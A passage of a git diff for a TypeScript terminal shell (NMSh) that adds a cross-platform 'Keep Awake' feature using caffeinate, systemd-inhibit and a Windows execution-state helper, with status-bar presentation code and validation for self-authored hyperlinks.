line('idleAfterSeconds'), + '', ` ${subtle}Screensaver${reset}`, line('screensaver'), line('screensaverPosition'), + '', ` ${subtle}Status Strip${reset}`, ` ${subtle}Shown automatically while active (when the Status Strip is on)${reset}`); + } + rows.push('', ...statusLines(controller).slice(1).map(line => ` ${subtle}${line === 'Off' || line === 'Running' ? `Current ${line}` : line}${reset}`)); + for (const note of controller.backend?.notes ?? []) rows.push(` ${subtle}${note}${reset}`); + rows.push(` ${subtle}Nothing in your power settings changes; Stop (or the timeout) ends it.${reset}`); + if (panel.confirm) { + rows.push('', ` ${primary}Change Keep Awake mode? ${MODE_LABELS[panel.confirm.from]} → ${MODE_LABELS[panel.confirm.mode]}${reset}`, + ` ${renderConfirm(panel.confirm.state, {focused: true, color: colorLevel() !== 'none'})}`); + } else if (panel.message) rows.push('', ` ${panel.message}`); + rows.push('', renderControls(panel.confirm ? [['←→', 'choose'], ['Enter', 'confirm'], ['Esc', 'cancel']] + : panel.selected >= KEEP_AWAKE_MODES.length ? [['↑↓', 'row'], ['←→', 'change'], ['S', 'stop'], ['Esc', 'close']] + : [['↑↓', 'row'], ['Enter', 'keep awake'], ['S', 'stop'], ['Esc', 'close']])); + return framePanel(rows.map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); +} diff --git a/src/keepAwake/keepAwake.ts b/src/keepAwake/keepAwake.ts new file mode 100644 index 00000000..f68a70f4 --- /dev/null +++ b/src/keepAwake/keepAwake.ts @@ -0,0 +1,324 @@ +import {spawn, spawnSync} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {existsSync, mkdirSync, readFileSync, renameSync, rmSync, writeFileSync} from 'node:fs'; +import {dirname, join} from 'node:path'; +import {nmshConfigDirectory} from '../configuration/paths.js'; + +/** + * Keep Awake (/caffeinate, /awake, /zoomies): one controller over the + * operating system's own inhibition mechanism. + * + * macOS Apple /usr/bin/caffeinate (fixed path, fixed flags) + * Linux systemd-inhibit wrapping an NMSh-owned wait helper (idle/sleep only) + * Windows Kernel32 SetThreadExecutionState from a fixed PowerShell helper + * + * Modes are user intent, not flags. Every value reaching a child is an enum + * or a validated integer; nothing from input becomes program text. The + * assertion lives in a detached process that outlives the NMSh window and + * ends on Stop or its timeout. NMSh changes no power settings, desktop + * preferences or rc files, and never kills a process it cannot prove it owns. + */ + +export const KEEP_AWAKE_MODES = ['idle', 'display', 'system', 'all'] as const; +export type KeepAwakeMode = typeof KEEP_AWAKE_MODES[number]; +export const MODE_LABELS: Record = {idle: 'Idle', display: 'Display', system: 'System', all: 'All'}; +export const MODE_DESCRIPTIONS: Record = { + idle: 'Prevent automatic idle sleep', display: 'Keep the display and the machine awake', + system: 'Prevent automatic system sleep', all: 'All normal wake assertions available here', +}; + +export interface KeepAwakeCapabilities {idle: boolean; display: boolean; system: boolean} + +export interface LaunchPlan {command: string; args: string[]; env?: NodeJS.ProcessEnv} + +export interface KeepAwakeBackend { + id: 'macos-caffeinate' | 'linux-systemd-inhibit' | 'windows-execution-state' | 'inert'; + label: string; + capabilities: KeepAwakeCapabilities; + /** Factual notes shown in the panel (e.g. Apple's -s needs AC power). */ + notes: string[]; + /** undefined when this backend cannot honour the mode. */ + plan(mode: KeepAwakeMode, token: string, timeoutSeconds?: number): LaunchPlan | undefined; +} + +export const MAX_TIMEOUT_SECONDS = 7 * 24 * 3600; + +/** Strict durations only: 45s, 30m, 2h (1 second to 7 days). */ +export function parseDuration(text: string | undefined): number | undefined | 'invalid' { + if (text === undefined || text === '') return undefined; + const match = /^([1-9]\d{0,5})([smh])$/u.exec(text); + if (!match) return 'invalid'; + const seconds = Number(match[1]) * (match[2] === 'h' ? 3600 : match[2] === 'm' ? 60 : 1); + return seconds <= MAX_TIMEOUT_SECONDS ? seconds : 'invalid'; +} + +export function formatDuration(seconds: number): string { + const h = Math.floor(seconds / 3600), m = Math.floor((seconds % 3600) / 60), s = seconds % 60; + return h ? `${h}h${m ? ` ${m}m` : ''}` : m ? `${m}m` : `${s}s`; +} + +// ---- macOS ---------------------------------------------------------------------------- + +export const CAFFEINATE = '/usr/bin/caffeinate'; +const CAFFEINATE_FLAGS: Record = {idle: ['-i'], display: ['-d', '-i'], system: ['-s'], all: ['-d', '-i', '-s']}; + +export function macBackend(): KeepAwakeBackend { + return { + id: 'macos-caffeinate', label: 'Apple caffeinate', capabilities: {idle: true, display: true, system: true}, + notes: ['System (-s) holds only while the Mac is on AC power.'], + plan: (mode, _token, timeout) => ({command: CAFFEINATE, args: [...CAFFEINATE_FLAGS[mode], ...(timeout ? ['-t', String(timeout)] : [])]}), + }; +} + +// ---- Linux ---------------------------------------------------------------------------- + +export const SYSTEMD_INHIBIT_PATHS = ['/usr/bin/systemd-inhibit', '/bin/systemd-inhibit'] as const; +/** Normal inhibitors only: never shutdown, lid switch, power or suspend keys. */ +const INHIBIT_WHAT: Partial> = {idle: 'idle', system: 'sleep', all: 'idle:sleep'}; + +/** The NMSh-owned process the inhibitor wraps: it only waits (bounded), so the lock ends with it. Fixed code; token and seconds are argv. */ +export const WAIT_HELPER = 'const s=Number(process.argv[2]);const t=setTimeout(()=>process.exit(0),s>0?s*1000:2147483647);process.on("SIGTERM",()=>{clearTimeout(t);process.exit(0)});setInterval(()=>{},1<<30)'; + +export function linuxBackend(inhibit: string, node: string = process.execPath): KeepAwakeBackend { + return { + id: 'linux-systemd-inhibit', label: 'systemd inhibitor', capabilities: {idle: true, display: false, system: true}, + notes: ['Display: not supported by the systemd inhibitor (it is not a display API); use Idle or System.', 'Lid close and power keys keep their normal behavior.'], + plan: (mode, token, timeout) => { + const what = INHIBIT_WHAT[mode]; + if (!what) return undefined; + return {command: inhibit, args: [`--what=${what}`, '--mode=block', '--who=notMyShell', '--why=Keep-awake requested by NMSh', + node, '-e', WAIT_HELPER, '--', String(timeout ?? 0), `nmsh-keep-awake=${token}`]}; + }, + }; +} + +// ---- Windows -------------------------------------------------------------------------- + +export const ES_CONTINUOUS = 0x80000000; +export const ES_SYSTEM_REQUIRED = 0x00000001; +export const ES_DISPLAY_REQUIRED = 0x00000002; +/** Windows has no separate idle assertion: Idle and System both mean SYSTEM_REQUIRED. Away mode is never used. */ +export function executionStateFlags(mode: KeepAwakeMode): number { + return (ES_CONTINUOUS | ES_SYSTEM_REQUIRED | (mode === 'display' || mode === 'all' ? ES_DISPLAY_REQUIRED : 0)) >>> 0; +} + +/** Fixed first-party script; only numeric constants and the hex token are substituted. */ +export function windowsHelperScript(flags: number, token: string, timeout?: number): string { + if (!Number.isSafeInteger(flags) || !/^[0-9a-f]{32}$/u.test(token) || (timeout !== undefined && (!Number.isSafeInteger(timeout) || timeout < 1 || timeout > MAX_TIMEOUT_SECONDS))) { + throw new Error('Refusing keep-awake helper values.'); + } + return [`# nmsh-keep-awake=${token}`, + 'Add-Type -Namespace NMSh -Name Power -MemberDefinition \'[DllImport("kernel32.dll")] public static extern uint SetThreadExecutionState(uint esFlags);\'', + `if ([NMSh.Power]::SetThreadExecutionState([uint32]${flags}) -eq 0) { exit 2 }`, + `$deadline = ${timeout ? `(Get-Date).AddSeconds(${timeout})` : '[DateTime]::MaxValue'}`, + 'try { while ((Get-Date) -lt $deadline) { Start-Sleep -Seconds 5 } } finally { [void][NMSh.Power]::SetThreadExecutionState([uint32]2147483648) }'].join('\n'); +} + +export function windowsBackend(powershell: string): KeepAwakeBackend { + return { + id: 'windows-execution-state', label: 'Windows execution-state API', capabilities: {idle: true, display: true, system: true}, + notes: ['Idle and System are the same Windows assertion (system required).', 'No power plan setting is changed.'], + plan: (mode, token, timeout) => ({command: powershell, args: ['-NoLogo', '-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-EncodedCommand', + Buffer.from(windowsHelperScript(executionStateFlags(mode), token, timeout), 'utf16le').toString('base64')]}), + }; +} + +// ---- Inert (tests and recorded demos only) ---------------------------------------------- + +/** + * A backend that asserts nothing: the same NMSh-owned, detached, bounded wait + * helper the Linux backend wraps, without the inhibitor. It exists so the real + * slash, controller, ownership and presentation paths can run in tests and + * VHS recordings without keeping a machine awake. Honored only together with + * NMSH_DETERMINISTIC=1; it never appears in ordinary use. + */ +export function inertBackend(node: string = process.execPath): KeepAwakeBackend { + return { + id: 'inert', label: 'inert demo backend (no assertion)', capabilities: {idle: true, display: true, system: true}, + notes: ['Deterministic demo/test mode: nothing is kept awake.'], + plan: (_mode, token, timeout) => ({command: node, args: ['-e', WAIT_HELPER, '--', String(timeout ?? 0), `nmsh-keep-awake=${token}`]}), + }; +} + +/** The backend detection decides; the platform alone does not. */ +export function detectBackend(platform: NodeJS.Platform = process.platform, exists: (path: string) => boolean = existsSync, + env: NodeJS.ProcessEnv = process.env): KeepAwakeBackend | undefined { + if (env.NMSH_DETERMINISTIC === '1' && env.NMSH_KEEP_AWAKE_BACKEND === 'inert') return inertBackend(); + if (platform === 'darwin') return exists(CAFFEINATE) ? macBackend() : undefined; + if (platform === 'linux') { + const inhibit = SYSTEMD_INHIBIT_PATHS.find(exists); + return inhibit ? linuxBackend(inhibit) : undefined; + } + if (platform === 'win32') { + const root = env.SystemRoot ?? env.windir ?? 'C:\\Windows'; + const powershell = `${root}\\System32\\WindowsPowerShell\\v1.0\\powershell.exe`; + return exists(powershell) ? windowsBackend(powershell) : undefined; + } + return undefined; +} + +export function unsupportedReason(platform: NodeJS.Platform = process.platform): string { + return platform === 'linux' ? 'No supported Linux inhibitor was detected (systemd-inhibit). NMSh does not install one or change power settings.' + : platform === 'darwin' ? '/usr/bin/caffeinate was not found.' : platform === 'win32' ? 'Windows PowerShell was not found for the execution-state helper.' + : 'Keep Awake has no backend on this platform.'; +} + +// ---- Processes and ownership ---------------------------------------------------------- + +export interface ProcessProbe { + start(plan: LaunchPlan): number | undefined; + alive(pid: number): boolean; + /** The process's full command line, or undefined when it cannot be read. */ + commandLine(pid: number): string | undefined; + signal(pid: number, signal: NodeJS.Signals): void; + now(): number; +} + +export const systemProbe: ProcessProbe = { + start(plan) { + const child = spawn(plan.command, plan.args, {detached: true, stdio: 'ignore', env: plan.env ?? process.env, windowsHide: true}); + child.on('error', () => { /* reported by the startup check */ }); + child.unref(); + return child.pid; + }, + alive(pid) { try { process.kill(pid, 0); return true; } catch (error) { return (error as NodeJS.ErrnoException).code === 'EPERM'; } }, + commandLine(pid) { + if (process.platform === 'linux') { + try { return readFileSync(`/proc/${pid}/cmdline`, 'utf8').split('\u0000').filter(Boolean).join(' '); } catch { return undefined; } + } + if (process.platform === 'win32') { + // Absolute System32 path: never a PATH lookup. + const root = process.env.SystemRoot ?? process.env.windir ?? 'C:\\Windows'; + const result = spawnSync(`${root}\\System32\\WindowsPowerShell\\v1.0\\powershell.exe`, ['-NoProfile', '-NonInteractive', '-Command', `(Get-CimInstance Win32_Process -Filter "ProcessId=${Math.trunc(pid)}").CommandLine`], {encoding: 'utf8', timeout: 5000, windowsHide: true}); + return result.status === 0 ? result.stdout.trim() || undefined : undefined; + } + const result = spawnSync('/bin/ps', ['-ww', '-o', 'command=', '-p', String(Math.trunc(pid))], {encoding: 'utf8', timeout: 3000}); + return result.status === 0 ? result.stdout.trim() || undefined : undefined; + }, + signal(pid, signal) { try { process.kill(pid, signal); } catch { /* already gone */ } }, + now: () => Date.now(), +}; + +export interface KeepAwakeRecord { + version: 1; + token: string; + backend: KeepAwakeBackend['id']; + mode: KeepAwakeMode; + pid: number; + startedAt: number; + timeoutSeconds?: number; + /** The exact launch, for ownership checks. */ + command: string; + args: string[]; +} + +export type KeepAwakeStatus = + | {state: 'off'; note?: string} + | {state: 'running'; record: KeepAwakeRecord}; + +export function keepAwakePath(env: NodeJS.ProcessEnv = process.env): string { + return join(nmshConfigDirectory(env), 'keep-awake.json'); +} + +/** A record's process is ours only if it is alive and its command line is the exact launch (including the token where the backend carries one). */ +function owned(record: KeepAwakeRecord, probe: ProcessProbe): boolean { + if (!Number.isSafeInteger(record.pid) || record.pid <= 1 || !probe.alive(record.pid)) return false; + const line = probe.commandLine(record.pid); + if (!line) return false; + if (record.backend === 'macos-caffeinate') return line === [record.command, ...record.args].join(' '); + // Linux carries the token in argv; Windows carries it inside the encoded script (the last argument). + return record.backend === 'linux-systemd-inhibit' || record.backend === 'inert' ? line.includes(`nmsh-keep-awake=${record.token}`) : line.includes(record.args.at(-1)!); +} + +export type StartResult = + | {kind: 'started'; record: KeepAwakeRecord; replaced?: KeepAwakeMode} + | {kind: 'already'; record: KeepAwakeRecord} + | {kind: 'needsConfirm'; from: KeepAwakeMode; to: KeepAwakeMode} + | {kind: 'unsupported'; reason: string} + | {kind: 'failed'; reason: string; previousStopped?: boolean}; + +export class KeepAwakeController { + constructor(readonly backend: KeepAwakeBackend | undefined, private readonly probe: ProcessProbe = systemProbe, + readonly path: string = keepAwakePath(), private readonly platform: NodeJS.Platform = process.platform) {} + + private load(): KeepAwakeRecord | undefined { + try { + const data = JSON.parse(readFileSync(this.path, 'utf8')) as KeepAwakeRecord; + if (data.version !== 1 || typeof data.token !== 'string' || !KEEP_AWAKE_MODES.includes(data.mode) || !Number.isSafeInteger(data.pid) + || typeof data.command !== 'string' || !Array.isArray(data.args)) return undefined; + return data; + } catch { return undefined; } + } + + private save(record: KeepAwakeRecord): void { + mkdirSync(dirname(this.path), {recursive: true, mode: 0o700}); + const staged = `${this.path}.${process.pid}.tmp`; + writeFileSync(staged, `${JSON.stringify(record, null, 2)}\n`, {mode: 0o600}); + renameSync(staged, this.path); + } + + private clear(): void { rmSync(this.path, {force: true}); } + + /** The stored record without an ownership check: cheap enough to poll for presentation, never used to stop anything. */ + peek(): KeepAwakeRecord | undefined { return this.load(); } + + /** Verified state. Unprovable records are cleared (never killed). */ + status(): KeepAwakeStatus { + const record = this.load(); + if (!record) return {state: 'off'}; + if (owned(record, this.probe)) return {state: 'running', record}; + this.clear(); + const expired = record.timeoutSeconds && this.probe.now() >= record.startedAt + record.timeoutSeconds * 1000; + return {state: 'off', note: expired ? `The ${MODE_LABELS[record.mode]} keep-awake ended after its ${formatDuration(record.timeoutSeconds!)} timeout.` + : 'The earlier keep-awake is no longer running (or could not be verified as NMSh\'s); its record was cleared and nothing was stopped.'}; + } + + supports(mode: KeepAwakeMode): boolean { + if (!this.backend) return false; + const caps = this.backend.capabilities; + return mode === 'idle' ? caps.idle : mode === 'display' ? caps.display : mode === 'system' ? caps.system : caps.idle || caps.system; + } + + /** Starts, or reports already-running / needs-confirm. `confirmed` replaces a different running mode. */ + start(mode: KeepAwakeMode, timeoutSeconds?: number, confirmed = false): StartResult { + if (!this.backend) return {kind: 'unsupported', reason: unsupportedReason(this.platform)}; + if (!this.supports(mode)) return {kind: 'unsupported', reason: `${MODE_LABELS[mode]} is not supported by the ${this.backend.label}. ${this.backend.notes[0] ?? ''}`.trim()}; + const current = this.status(); + if (current.state === 'running') { + if (current.record.mode === mode && current.record.timeoutSeconds === timeoutSeconds) return {kind: 'already', record: current.record}; + if (!confirmed) return {kind: 'needsConfirm', from: current.record.mode, to: mode}; + } + const token = randomBytes(16).toString('hex'); + const plan = this.backend.plan(mode, token, timeoutSeconds); + if (!plan) return {kind: 'unsupported', reason: `${MODE_LABELS[mode]} is not supported by the ${this.backend.label}.`}; + // Start the replacement first, then release the old assertion: no unprotected gap. + const pid = this.probe.start(plan); + const record: KeepAwakeRecord = {version: 1, token, backend: this.backend.id, mode, pid: pid ?? 0, startedAt: this.probe.now(), + ...(timeoutSeconds ? {timeoutSeconds} : {}), command: plan.command, args: plan.args}; + if (!pid || !this.probe.alive(pid)) { + return {kind: 'failed', reason: `${this.backend.label} did not start.${current.state === 'running' ? ` The ${MODE_LABELS[current.record.mode]} keep-awake is still running.` : ''}`}; + } + if (current.state === 'running') this.terminate(current.record); + this.save(record); + return {kind: 'started', record, ...(current.state === 'running' ? {replaced: current.record.mode} : {})}; + } + + private terminate(record: KeepAwakeRecord): void { + this.probe.signal(record.pid, 'SIGTERM'); + const deadline = this.probe.now() + 2000; + const pause = new Int32Array(new SharedArrayBuffer(4)); + // Poll ownership, not bare liveness: an exited child awaiting reaping no longer has our command line. + while (owned(record, this.probe) && this.probe.now() < deadline) Atomics.wait(pause, 0, 0, 50); + if (owned(record, this.probe)) this.probe.signal(record.pid, 'SIGKILL'); + } + + /** Idempotent. Stops only a verified NMSh-owned assertion. */ + stop(): string { + const record = this.load(); + if (!record) return 'Keep Awake is off.'; + if (!owned(record, this.probe)) { this.clear(); return 'Keep Awake is off (the earlier record could not be verified as NMSh\'s, so nothing was stopped).'; } + this.terminate(record); + this.clear(); + return `Keep Awake stopped (${MODE_LABELS[record.mode]}). Normal sleep behavior is back.`; + } +} diff --git a/src/keepAwake/presentation.ts b/src/keepAwake/presentation.ts new file mode 100644 index 00000000..a84d988d --- /dev/null +++ b/src/keepAwake/presentation.ts @@ -0,0 +1,218 @@ +import {semanticIcon} from '../prompt/glyphChoices.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {displayWidth} from '../util/text.js'; +import {formatDuration, MODE_LABELS, type KeepAwakeMode} from './keepAwake.js'; + +/** + * Keep Awake presentation: how an active assertion shows up in NMSh chrome. + * + * Keep Awake is NMSh-owned composer chrome, never prompt or provider output. + * The prompt owns its structural space and this accessory moves around it: + * it takes a free composer edge, else a row adjacent to the composer, and + * never truncates or rewrites prompt, right prompt or editor content. When + * Keep Awake is off nothing here renders anything. + */ + +export const AWAKE_PLACEMENTS = ['edge', 'above', 'input'] as const; +export type AwakePlacement = typeof AWAKE_PLACEMENTS[number]; +export const AWAKE_PLACEMENT_LABELS: Record = {edge: 'Composer edge', above: 'Above composer', input: 'Input row'}; + +export const AWAKE_DISPLAYS = ['text', 'icon', 'iconText'] as const; +export type AwakeDisplay = typeof AWAKE_DISPLAYS[number]; +export const AWAKE_DISPLAY_LABELS: Record = {text: 'Text', icon: 'Icon', iconText: 'Icon + text'}; + +export const AWAKE_SAVER_POSITIONS = ['topLeft', 'topCenter', 'topRight', 'bottomLeft', 'bottomCenter', 'bottomRight'] as const; +export type AwakeSaverPosition = typeof AWAKE_SAVER_POSITIONS[number]; +export const AWAKE_SAVER_POSITION_LABELS: Record = { + topLeft: 'Top left', topCenter: 'Top center', topRight: 'Top right', bottomLeft: 'Bottom left', bottomCenter: 'Bottom center', bottomRight: 'Bottom right', +}; + +export const AWAKE_IDLE_AFTER = [15, 30, 60, 120, 300] as const; + +export interface KeepAwakePresentation { + placement: AwakePlacement; + display: AwakeDisplay; + /** Expand to duration + the muted stop hint after no NMSh input for `idleAfterSeconds`. */ + idleReminder: boolean; + idleAfterSeconds: number; + screensaver: boolean; + screensaverPosition: AwakeSaverPosition; +} + +export const DEFAULT_KEEP_AWAKE_PRESENTATION: Readonly = { + placement: 'edge', display: 'text', idleReminder: true, idleAfterSeconds: 30, screensaver: true, screensaverPosition: 'bottomLeft', +}; + +export function normalizeKeepAwakePresentation(value: unknown): KeepAwakePresentation { + const v = value && typeof value === 'object' && !Array.isArray(value) ? value as Record : {}; + const d = DEFAULT_KEEP_AWAKE_PRESENTATION; + const pick = (list: readonly T[], key: string, fallback: T): T => list.includes(v[key] as T) ? v[key] as T : fallback; + return { + placement: pick(AWAKE_PLACEMENTS, 'placement', d.placement), + display: pick(AWAKE_DISPLAYS, 'display', d.display), + idleReminder: typeof v.idleReminder === 'boolean' ? v.idleReminder : d.idleReminder, + idleAfterSeconds: AWAKE_IDLE_AFTER.includes(v.idleAfterSeconds as typeof AWAKE_IDLE_AFTER[number]) ? v.idleAfterSeconds as number : d.idleAfterSeconds, + screensaver: typeof v.screensaver === 'boolean' ? v.screensaver : d.screensaver, + screensaverPosition: pick(AWAKE_SAVER_POSITIONS, 'screensaverPosition', d.screensaverPosition), + }; +} + +/** The facts presentation needs: the same record the controller verified. */ +export interface AwakeFacts {mode: KeepAwakeMode; startedAt: number; timeoutSeconds?: number} + +/** How much of the label fits: full (Awake · Display), short (Awake) or glyph (the icon alone, when the glyph mode has one). */ +export type AwakeForm = 'full' | 'short' | 'glyph'; + +/** Plain label text. Icon mode falls back to text when the glyph mode has no icon (Safe/ASCII). */ +export function awakeLabel(facts: AwakeFacts, display: AwakeDisplay, form: AwakeForm = 'full', icon = semanticIcon('awake')): string { + const text = form === 'full' ? `Awake · ${MODE_LABELS[facts.mode]}` : 'Awake'; + if (form === 'glyph') return icon || 'Awake'; + if (display === 'icon' && icon) return form === 'full' ? `${icon} ${MODE_LABELS[facts.mode]}` : icon; + if (display === 'iconText' && icon) return `${icon} ${text}`; + return text; +} + +/** Elapsed time, or what is left when a timeout was set: factual and coarse (no seconds after the first minute). */ +export function awakeDuration(facts: AwakeFacts, now: number): string { + const elapsed = Math.max(0, Math.floor((now - facts.startedAt) / 1000)); + if (facts.timeoutSeconds) { + const left = Math.max(0, facts.timeoutSeconds - elapsed); + return `${formatDuration(left >= 60 ? left - left % 60 : left)} left`; + } + return formatDuration(elapsed >= 60 ? elapsed - elapsed % 60 : Math.max(1, elapsed)); +} + +export const AWAKE_STOP_HINT = '/zoomies stop'; + +/** Semantic roles: informational while active, the same identity muted for the idle reminder. Theme-aware; NO_COLOR and 256-color follow colorEscape. */ +export const awakeStyle = { + active: () => foreground(UI_COLORS.accent), + muted: () => foreground(UI_COLORS.subtle), + failure: () => foreground(UI_COLORS.failure), + reset: '\u001b[0m', +}; + +// ---- Composer accessory slots ------------------------------------------------------------------ + +export type SlotState = 'available' | 'occupied' | 'unavailable'; +export type AccessorySlot = 'topEdge' | 'bottomEdge' | 'adjacentRow' | 'inputTrailing'; + +export interface ComposerSlots {topEdge: SlotState; bottomEdge: SlotState; inputTrailing: SlotState} + +/** + * Resolved every frame from real composer geometry. The saved preference is + * never changed by a fallback: Composer edge means "a free edge if there is + * one", Input row means "only when it is completely safe". + */ +export function resolveAccessorySlot(placement: AwakePlacement, slots: ComposerSlots): AccessorySlot { + if (placement === 'above') return 'adjacentRow'; + if (placement === 'input') return slots.inputTrailing === 'available' ? 'inputTrailing' : 'adjacentRow'; + if (slots.topEdge === 'available') return 'topEdge'; + if (slots.bottomEdge === 'available') return 'bottomEdge'; + return 'adjacentRow'; +} + +/** Rule cells kept on each side of an accessory, so the edge still reads as a divider. */ +export const EDGE_LEAD_MIN = 6; +export const EDGE_TRAIL = 2; + +/** Whether an accessory of this width fits on an edge of `columns` cells. */ +export function edgeFits(columns: number, accessoryWidth: number): boolean { + return accessoryWidth > 0 && columns >= accessoryWidth + 2 + EDGE_LEAD_MIN + EDGE_TRAIL; +} + +/** + * Cells [start, end) of an ANSI string, carrying the SGR state in effect at + * `start`. Divider rules are single-width glyphs, which is all this needs. + */ +export function sliceAnsiCells(value: string, start: number, end: number): string { + let out = ''; + let lastSgr = ''; + let cell = 0; + const pattern = /(\u001b\[[0-?]*[ -/]*[@-~])|([\s\S])/gu; + for (const match of value.matchAll(pattern)) { + if (match[1]) { + if (cell < start) { if (match[1].endsWith('m')) lastSgr = match[1]; } + else if (cell < end) out += match[1]; + continue; + } + const width = displayWidth(match[2]!); + if (cell >= start && cell + width <= end) out += match[2]; + cell += width; + if (cell >= end) break; + } + return `${lastSgr}${out}`; +} + +/** + * One composer edge: the painted rule with the accessory set into its + * trailing portion. The result is exactly `width` cells; the rule keeps its + * own colors (and Chroma) and the accessory keeps its own, so animating the + * rule never touches the accessory text. + */ +export function renderComposerEdge(options: {rule: string; width: number; accessory?: {ansi: string; width: number}}): string { + const {rule, width, accessory} = options; + if (!accessory || !edgeFits(width, accessory.width)) return rule; + const lead = width - accessory.width - 2 - EDGE_TRAIL; + return `${sliceAnsiCells(rule, 0, lead)}\u001b[0m ${accessory.ansi} \u001b[0m${sliceAnsiCells(rule, width - EDGE_TRAIL, width)}\u001b[0m`; +} + +/** Columns the accessory occupies on a composed edge row (for keeping transition tints off it). */ +export function edgeAccessoryColumns(width: number, accessoryWidth: number): {start: number; end: number} | undefined { + if (!edgeFits(width, accessoryWidth)) return undefined; + const start = width - accessoryWidth - 1 - EDGE_TRAIL; + return {start, end: start + accessoryWidth}; +} + +// ---- What to show this frame ----------------------------------------------------------------- + +export interface AwakeView { + /** Compact label for an edge or the input row, styled. */ + compact: {ansi: string; width: number}; + /** The idle form for the same slot when it fits; otherwise undefined and `reminder` carries the extra facts. */ + expanded?: {ansi: string; width: number}; + /** Muted duration + stop hint for one adjacent row (never repeating the compact label). */ + reminder: {ansi: string; width: number}; + /** One self-contained row for the adjacent slot: compact, plus the idle facts while idle. */ + row: (columns: number) => string; +} + +const styled = (text: string, style: string) => ({ansi: `${style}${text}${awakeStyle.reset}`, width: displayWidth(text)}); + +export function awakeView(facts: AwakeFacts, settings: KeepAwakePresentation, idle: boolean, now: number, icon = semanticIcon('awake')): AwakeView { + const label = awakeLabel(facts, settings.display, 'full', icon); + const duration = awakeDuration(facts, now); + const compact = styled(label, awakeStyle.active()); + const expandedText = `${label} · ${duration}`; + const expanded = {ansi: `${awakeStyle.active()}${label}${awakeStyle.reset}${awakeStyle.muted()} · ${duration} ${AWAKE_STOP_HINT}${awakeStyle.reset}`, + width: displayWidth(`${expandedText} ${AWAKE_STOP_HINT}`)}; + const reminder = styled(`${duration} ${AWAKE_STOP_HINT}`, awakeStyle.muted()); + return { + compact, + ...(idle ? {expanded} : {}), + reminder, + row: (columns: number) => { + if (!idle) return fitRow(compact, columns); + const gap = columns - displayWidth(expandedText) - displayWidth(AWAKE_STOP_HINT) - 1; + if (gap >= 2) return `${awakeStyle.active()}${label}${awakeStyle.reset}${awakeStyle.muted()} · ${duration}${' '.repeat(gap)}${AWAKE_STOP_HINT}${awakeStyle.reset}`; + return fitRow(compact, columns); + }, + }; +} + +function fitRow(part: {ansi: string; width: number}, columns: number): string { + return part.width <= columns ? part.ansi : `${awakeStyle.active()}Awake${awakeStyle.reset}`; +} + +// ---- Screensaver -------------------------------------------------------------------------- + +/** The positioned screensaver status (one row, inset one cell from the frame edge). */ +export function placeOnSaver(rows: readonly string[], columns: number, text: {ansi: string; width: number}, position: AwakeSaverPosition, + overlay: (row: string, column: number, ansi: string, width: number) => string): string[] { + if (!rows.length || text.width + 2 > columns) return [...rows]; + const row = position.startsWith('top') ? 0 : rows.length - 1; + const column = position.endsWith('Left') ? 1 : position.endsWith('Right') ? columns - text.width - 1 : Math.floor((columns - text.width) / 2); + const out = [...rows]; + out[row] = overlay(out[row] ?? '', column, text.ansi, text.width); + return out; +} diff --git a/src/output/AnsiOutputParser.ts b/src/output/AnsiOutputParser.ts index 0acd4ad9..1c17ba42 100644 --- a/src/output/AnsiOutputParser.ts +++ b/src/output/AnsiOutputParser.ts @@ -6,6 +6,22 @@ export interface StyledCell { style: string; /** Original program-emitted OSC 8, never generated presentation. */ hyperlink?: string; + /** + * The link was authored by NMSh itself (help, docs, task URLs, NMSh-written + * files) through addAuthoredLine and passed the authored-target check. + * Raw PTY links never carry this mark. + */ + authored?: true; +} + +/** Targets NMSh may author: http(s) without credentials, and local file URLs. */ +export function authoredTargetAllowed(target: string): boolean { + if (!target || target.length > 4096 || /[\u0000-\u0020\u007f-\u009f]/u.test(target)) return false; + try { + const url = new URL(target); + if (url.protocol === 'file:') return !url.hostname; + return (url.protocol === 'http:' || url.protocol === 'https:') && Boolean(url.hostname) && !url.username && !url.password; + } catch { return false; } } const revisions = new WeakMap(); @@ -27,6 +43,8 @@ export class AnsiOutputParser { private style = ''; private pending = ''; private hyperlink?: string; + /** While writing an NMSh-authored line: OSC 8 becomes an authored link only for allowed targets. */ + private authoring = false; private discardingOsc = false; constructor(private readonly onClear?: () => void) {} @@ -98,6 +116,12 @@ export class AnsiOutputParser { } } + /** An NMSh-authored line: its OSC 8 links are marked authored when the target is allowed, dropped otherwise. */ + addAuthoredLine(text: string, style = ''): void { + this.authoring = true; + try { this.addLine(text, style); } finally { this.authoring = false; } + } + addLine(text: string, style = ''): void { this.ensureLineBoundary(); this.hyperlink = undefined; @@ -230,7 +254,7 @@ export class AnsiOutputParser { if (separator !== -1) { const target = payload.slice(separator + 1); // Preserve safe original payloads; reject controls and bound retained data. - this.hyperlink = target && validOsc8Payload(payload) + this.hyperlink = target && validOsc8Payload(payload) && (!this.authoring || authoredTargetAllowed(target)) ? payload : undefined; } else this.hyperlink = undefined; } @@ -268,7 +292,7 @@ export class AnsiOutputParser { private put(text: string, width: number): void { for (let position = 0; position < width; position += 1) this.current[this.column + position] = undefined; - this.current[this.column] = {text, width, style: this.style, ...(this.hyperlink ? {hyperlink: this.hyperlink} : {})}; + this.current[this.column] = {text, width, style: this.style, ...(this.hyperlink ? {hyperlink: this.hyperlink, ...(this.authoring ? {authored: true as const} : {})} : {})}; this.touch(); for (let position = 1; position < width; position += 1) this.current[this.column + position] = null; this.column += width; diff --git a/src/output/Hyperlinks.ts b/src/output/Hyperlinks.ts index ebab9168..35dfd114 100644 --- a/src/output/Hyperlinks.ts +++ b/src/output/Hyperlinks.ts @@ -118,3 +118,20 @@ export class HyperlinkPresenter { return line; } } + +const OSC8_CLOSE = '\u001B]8;;\u001B\\'; + +/** + * An NMSh-authored link for live UI rows (task URLs, docs): the text wrapped + * in OSC 8 only when the host supports links and the target is safe; plain + * text otherwise. Callers that truncate append `closeAuthoredLinks` so a cut + * never leaves a link open. + */ +export function authoredLink(text: string, target: string, enabled: boolean): string { + const safe = enabled ? safeHyperlinkTarget(target) : undefined; + return safe ? `\u001B]8;;${safe}\u001B\\${text}${OSC8_CLOSE}` : text; +} + +export function closeAuthoredLinks(row: string): string { + return row.includes('\u001B]8;;') ? `${row}${OSC8_CLOSE}` : row; +} diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index 0c357c03..0ac7ceec 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -18,6 +18,8 @@ export interface 